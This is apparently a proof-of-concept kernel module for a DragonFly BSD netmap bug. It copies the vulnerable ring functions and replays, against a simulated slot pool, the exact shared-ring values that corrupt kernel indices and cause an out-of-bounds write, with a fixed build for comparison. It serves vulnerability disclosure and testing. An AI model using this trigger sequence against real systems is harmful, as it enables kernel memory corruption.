/*
 * DF-3333 PoC — nm_kr_rxpos() single-subtract insufficiency turns the
 * DF-0359-style nr_hwavail/nr_hwcur corruption (reachable by lying through
 * the mmap()ed shared ring in netmap_rxsync_from_host, netmap.c:884-929)
 * into an out-of-bounds slot access + OOB WRITE in netmap_transmit()
 * (netmap.c:2011-2044):  slot = &ring->slot[i] with i up to
 * 2*num_slots-2, then slot->len = len / slot->flags = ... land past the
 * end of the slot array.
 *
 * As with DF-3332, the netmap subsystem does not compile on current
 * DragonFly (netmap_kern.h:747 / ifnet.if_unused7 bit-rot), so the two
 * vulnerable functions are copied VERBATIM into a standalone KLD and run
 * in a real kernel, against a fake "pool" laid out as:
 *
 *   [ struct netmap_ring header | 1024 slots (the real ring) ]
 *   [ 1024 extra marker slots (simulate adjacent pool objects) ]
 *
 * The choreography is exactly what an mmap()ed userspace thread can do
 * (ring->cur/reserved/avail are user-writable shared-memory fields):
 *   reserved = 0xffffffff, avail = 1  ->  resvd + avail wraps to 0,
 *   bypassing the "resvd + avail >= lim+1" guard (netmap.c:910).
 *
 * Build: make                 -> df3333.ko  (vulnerable)
 *        make fixed           -> df3333f.ko (-DDD3333_FIXED)
 * Run:   sysctl -n debug.df3333.trigger=1
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/time.h>

#include <net/if.h>
#include <net/netmap/netmap.h>

/* ---------------- stubs for netmap machinery (documented) -------------- */
#define NETMAP_BDG_BUF_SIZE(na)		(2048)	/* netmap_mem2.h:210 */
#define BDG_NMB(na, slot)		(df_buf)	/* netmap_kern.h:857 */
#define lockmgr(l, f)			((void)0)
#define KNOTE(x, y)			((void)0)
#define D(format, ...)			kprintf("df3333: " format "\n", ##__VA_ARGS__)
#define ND(format, ...)			/* nothing */

struct netmap_adapter { void *nm_mem; void *ifp; };
struct df_mbuf { int len; };
static struct df_mbuf df_m;
static char df_buf[2048];

struct netmap_kring {
	struct netmap_ring *ring;
	uint32_t nr_hwcur, nr_hwavail;
	uint32_t nkr_num_slots;
	uint16_t nkr_slot_flags;
	volatile int nkr_stopped;
	struct netmap_adapter *na;
};
struct mbq { int len; };
/* struct thread comes from the real kernel headers (opaque here) */

/* forward decls used by the verbatim functions below */
static struct netmap_kring *df_rx_kring;
static u_int df3333_pos_used;

static void
m_copydata(struct df_mbuf *m, int off, int len, char *dst)
{
	(void)m; (void)off;
	memcpy(dst, "DF3333-PAYLOAD", len < 14 ? len : 14);
}
static void __unused m_freem(struct df_mbuf *m) { (void)m; }

/* VERBATIM netmap_kern.h:540-556 (dead code #if 0 block elided) */
static inline uint32_t
nm_kr_rxpos(struct netmap_kring *k)
{
	uint32_t pos = k->nr_hwcur + k->nr_hwavail;
	if (pos >= k->nkr_num_slots)
		pos -= k->nkr_num_slots;
#ifdef DD3333_FIXED
	/* DF-3333 fix: full modulo — the single subtract above assumes
	 * hwcur+hwavail < 2*num_slots, which a corrupted ring violates */
	if (pos >= k->nkr_num_slots)
		pos -= k->nkr_num_slots;
#endif
	return pos;
}

/*
 * ===== VERBATIM netmap_rxsync_from_host() core from netmap.c:884-929
 * (selrecord/pwait dropped; INSTRUMENTATION marks additions)
 */
static void
netmap_rxsync_from_host(struct netmap_adapter *na, struct thread *td)
{
	struct netmap_kring *kring = df_rx_kring;	/* netmap.c:887 */
	struct netmap_ring *ring = kring->ring;
	u_int j, n, lim = kring->nkr_num_slots;	/* NOTE: num_slots, not -1 */
	u_int k = ring->cur, resvd = ring->reserved;

	(void)td;
	if (kring->nkr_stopped)
		return;

	/* lockmgr(&kring->q_lock, LK_EXCLUSIVE); -- stubbed */

	if (k >= lim) {
		/* netmap_ring_reinit(kring) -- not needed for PoC */
		goto unlock_out;
	}
	/* new packets are already set in nr_hwavail */
	/* skip past packets that userspace has released */
	j = kring->nr_hwcur;
	if (resvd > 0) {
		if (resvd + ring->avail >= lim + 1) {		/* netmap.c:910 */
			ND("XXX invalid reserve/avail %d %d", resvd, ring->avail);
			ring->reserved = resvd = 0; // XXX panic...
		}
		if (resvd)					/* INSTRUMENT: skip if reset */
			k = (k >= resvd) ? k - resvd : k + lim - resvd;
	}
	if (j != k) {
		n = k >= j ? k - j : k + lim - j;
		kring->nr_hwavail -= n;
		kring->nr_hwcur = k;
	}
	k = ring->avail = kring->nr_hwavail - resvd;
	(void)k;
unlock_out:
	/* lockmgr(&kring->q_lock, LK_RELEASE); -- stubbed */
	return;
}

/*
 * ===== VERBATIM netmap_transmit() body from netmap.c:1994-2056
 * (only the q_lock-protected insert block; INSTRUMENTATION marks additions)
 */
static void
netmap_transmit_core(struct netmap_kring *kring, struct df_mbuf *m)
{
	u_int i, len = m->len;		/* MBUF_LEN(m) */
	struct netmap_slot *slot;
	struct netmap_adapter *na = kring->na;

	(void)na;	/* INSTRUMENTATION: stubs below don't deref it */

	/* (if_capenable & IFCAP_NETMAP) is true when registered */

	if (len > NETMAP_BDG_BUF_SIZE(na->nm_mem))	/* netmap.c:2017 */
		return;
	/* lockmgr(&kring->q_lock, LK_EXCLUSIVE); -- stubbed */
	if (kring->nr_hwavail >= kring->nkr_num_slots - 1) {
		D("stack ring full — hwavail %u", kring->nr_hwavail); /* netmap.c:2029 */
	} else {
		/* compute the insert position */
		i = nm_kr_rxpos(kring);			/* netmap.c:2034 */
		slot = &kring->ring->slot[i];		/* netmap.c:2035 — OOB if i > lim */
		m_copydata(m, 0, (int)len, BDG_NMB(na, slot));
		slot->len = len;				/* netmap.c:2037 — OOB WRITE */
		slot->flags = kring->nkr_slot_flags;		/* netmap.c:2038 — OOB WRITE */
		kring->nr_hwavail++;
		df3333_pos_used = i;				/* INSTRUMENTATION */
	}
	/* lockmgr(&kring->q_lock, LK_RELEASE); -- stubbed */
}
/* ===== end verbatim functions ===== */

/* ---------------------- pool & choreography ---------------------- */
#define NSLOTS	1024			/* netmap_generic_ringsize default */
#define MARKERS	1024			/* adjacent pool memory after the ring */

static struct netmap_ring *df_ring;
static struct netmap_kring df_kring;
static struct netmap_adapter df_na;

/*
 * one "userspace lie" through the shared ring, exactly what an mmap()ed
 * thread can write before NIOCRXSYNC on the host ring
 */
static void
user_lie(u_int cur)
{
	df_ring->cur = cur;
	df_ring->reserved = 0xffffffff;		/* resvd + avail wraps */
	df_ring->avail = 1;
	netmap_rxsync_from_host(&df_na, NULL);	/* netmap.c:1447 path */
}

static int
df3333_run(void)
{
	u_int i, pairs = 0;
	int oob = -1;

	/* fresh ring, hwcur=0 hwavail=0 (as created) */
	memset(df_ring, 0, sizeof(*df_ring) + (NSLOTS + MARKERS) * sizeof(struct netmap_slot));
	*(uint32_t *)(uintptr_t)&df_ring->num_slots = NSLOTS;
	for (i = 0; i < NSLOTS + MARKERS; i++) {
		df_ring->slot[i].len = 0x4141;		/* marker pattern */
		df_ring->slot[i].flags = 0x4242;
	}
	df_kring.ring = df_ring;
	df_kring.nr_hwcur = 0;
	df_kring.nr_hwavail = 0;
	df_kring.nkr_num_slots = NSLOTS;
	df_kring.nkr_slot_flags = 0x0001;		/* NS_BUF_CHANGED */
	df_kring.na = &df_na;

	kprintf("df3333: choreography start (target hwcur>lim with hwavail<lim)\n");
	/*
	 * alternate cur=1023 (k=2048) and cur=0 (k=1025) as derived in the
	 * analysis; each pair decrements hwavail by 1024 with hwcur ending
	 * at 2048 (out of the ring's wrap-around range [0..1023]).
	 */
	do {
		user_lie(1023);
		if (df_kring.nr_hwavail < NSLOTS - 1)
			break;
		user_lie(0);
		pairs++;
	} while (pairs < 5000000);	/* need ~4194302 pairs: S drops 1024/pair */
	kprintf("df3333: after %u pairs: hwcur=%u hwavail=%u (0x%x)%s\n",
	    pairs, df_kring.nr_hwcur, df_kring.nr_hwavail, df_kring.nr_hwavail,
	    df_kring.nr_hwcur >= NSLOTS ? "  <-- hwcur OUT OF RANGE" : "");

	/* now the host stack sends one 60-byte packet (netmap_transmit) */
	df_m.len = 60;
	df3333_pos_used = 0xffffffff;
	netmap_transmit_core(&df_kring, &df_m);

	kprintf("df3333: transmit used slot index %u (lim = %u)%s\n",
	    df3333_pos_used, NSLOTS - 1,
	    df3333_pos_used >= NSLOTS ? "  <-- OUT OF BOUNDS" : "");

	/* scan the marker region [NSLOTS..NSLOTS+MARKERS) for the write */
	for (i = NSLOTS; i < NSLOTS + MARKERS; i++) {
		if (df_ring->slot[i].len == 60 && df_ring->slot[i].flags == 0x0001) {
			oob = (int)i;
			break;
		}
	}
	if (oob >= 0)
		kprintf("df3333: RESULT OOB WRITE CONFIRMED at slot[%d] "
		    "(%d slots past end of ring)  [VULNERABLE]\n",
		    oob, oob - (NSLOTS - 1));
	else
		kprintf("df3333: RESULT no write past ring end "
		    "(pos=%u)%s\n", df3333_pos_used,
#ifdef DD3333_FIXED
		    "  [FIXED]"
#else
		    ""
#endif
		    );
	return 0;
}

static int
df3333_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, t = 0;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	return (df3333_run());
}
SYSCTL_NODE(_debug, OID_AUTO, df3333, CTLFLAG_RW, 0, "DF-3333 trigger");
SYSCTL_PROC(_debug_df3333, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df3333_sysctl, "I", "run the verbatim rxsync->transmit chain");

static int
df3333_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		df_ring = kmalloc(sizeof(*df_ring) +
		    (NSLOTS + MARKERS) * sizeof(struct netmap_slot),
		    M_DEVBUF, M_WAITOK | M_ZERO);
		df_rx_kring = &df_kring;
		kprintf("df3333: loaded\n");
		return 0;
	case MOD_UNLOAD:
		if (df_ring)
			kfree(df_ring, M_DEVBUF);
		kprintf("df3333: unloaded\n");
		return 0;
	default:
		return EOPNOTSUPP;
	}
}
static moduledata_t df3333_mod = { "df3333", df3333_modevent, NULL };
DECLARE_MODULE(df3333, df3333_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
